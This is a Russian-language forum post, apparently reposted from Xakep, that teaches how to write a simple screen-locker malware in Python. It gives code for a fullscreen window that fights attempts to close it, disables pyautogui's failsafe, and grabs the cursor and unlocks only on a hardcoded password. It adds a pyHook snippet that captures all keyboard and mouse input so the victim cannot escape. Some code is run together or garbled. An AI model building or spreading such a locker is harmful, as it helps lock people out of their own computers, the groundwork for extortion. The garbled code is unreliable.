Пишем на Python простейшую малварь (Ч2. Локер)

Kenshiro

Script Kiddie
22.05.2020
10
1
6
Идея — создаем окно на полный экран и не даем пользователю закрыть его.

Импорт библиотек:

Python:
import pyautogui from tkinter import Tk, Entry, Label from pyautogu соi import click, moveTo from time import sleep
Теперь возьмемся за основную часть программы

Python:
# Создаем окно root = Tk()
# Вырубаем защиту левого верхнего угла экрана pyautogui.FAILSAFE = False
# Получаем ширину и высоту окна width = root.winfo_screenwidth() height = root.winfo_screenheight()
# Задаем заголовок окна root.title('From "Xakep" with love')
# Открываем окно на весь экран root.attributes("-fullscreen", True)
# Создаем поле для ввода, задаем его размеры и расположение entry = Entry(root, font=1) entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
# Создаем текстовые подписи и задаем их расположение label0 = Label(root, text="╚(•⌂•)╝ Locker by Xakep (╯°□°)╯︵ ┻━┻", font=1) label0.grid(row=0, column=0) label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20') label1.place(x=width/2-75-130, y=height/2-25-100)
# Включаем постоянное обновление окна и делаем паузу root.update() sleep(0.2)
# Кликаем в центр окна click(width/2, height/2)
# обнуляем ключ k = False
# Теперь непрерывно проверяем, не введен ли верный ключ
# Если введен, вызываем функцию хулиганства while not k:    on_closing()
Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.
Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.
Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давай настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:


Python:
import pythoncom, pyHook
hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()
Создадим функцию для ввода ключа:

Python:
def callback(event):   
    global k, entry   
    if entry.get() == "xakep":       
        k = True
Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.

Последняя функция, которая нужна для работы окна-вредителя:


Python:
def on_closing():   
    # Кликаем в центр экрана   
    click(width/2, height/2)   
    # Перемещаем курсор мыши в центр экрана   
    moveTo(width/2, height/2)   
    # Включаем полноэкранный режим   
    root.attributes("-fullscreen", True)   
    # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing   
    root.protocol("WM_DELETE_WINDOW", on_closing)   
    # Включаем постоянное обновление окна    root.update()   
    # Добавляем сочетание клавиш, которые будут закрывать программу   
    root.bind('<Control-KeyPress-c>', callback)
На этом наш импровизированный локер готов.
 

Об LS-LA

  • Мы, группа единомышленников, основная цель которых повышать уровень знаний и умений.
    Не забывая о материальном благополучии каждого)

About LS-LA

  • We, a group of like-minded people, whose main goal is to increase the level of knowledge and skills.
    Not forgetting about everyone’s material well-being)

Быстрая навигация

Пользовательское меню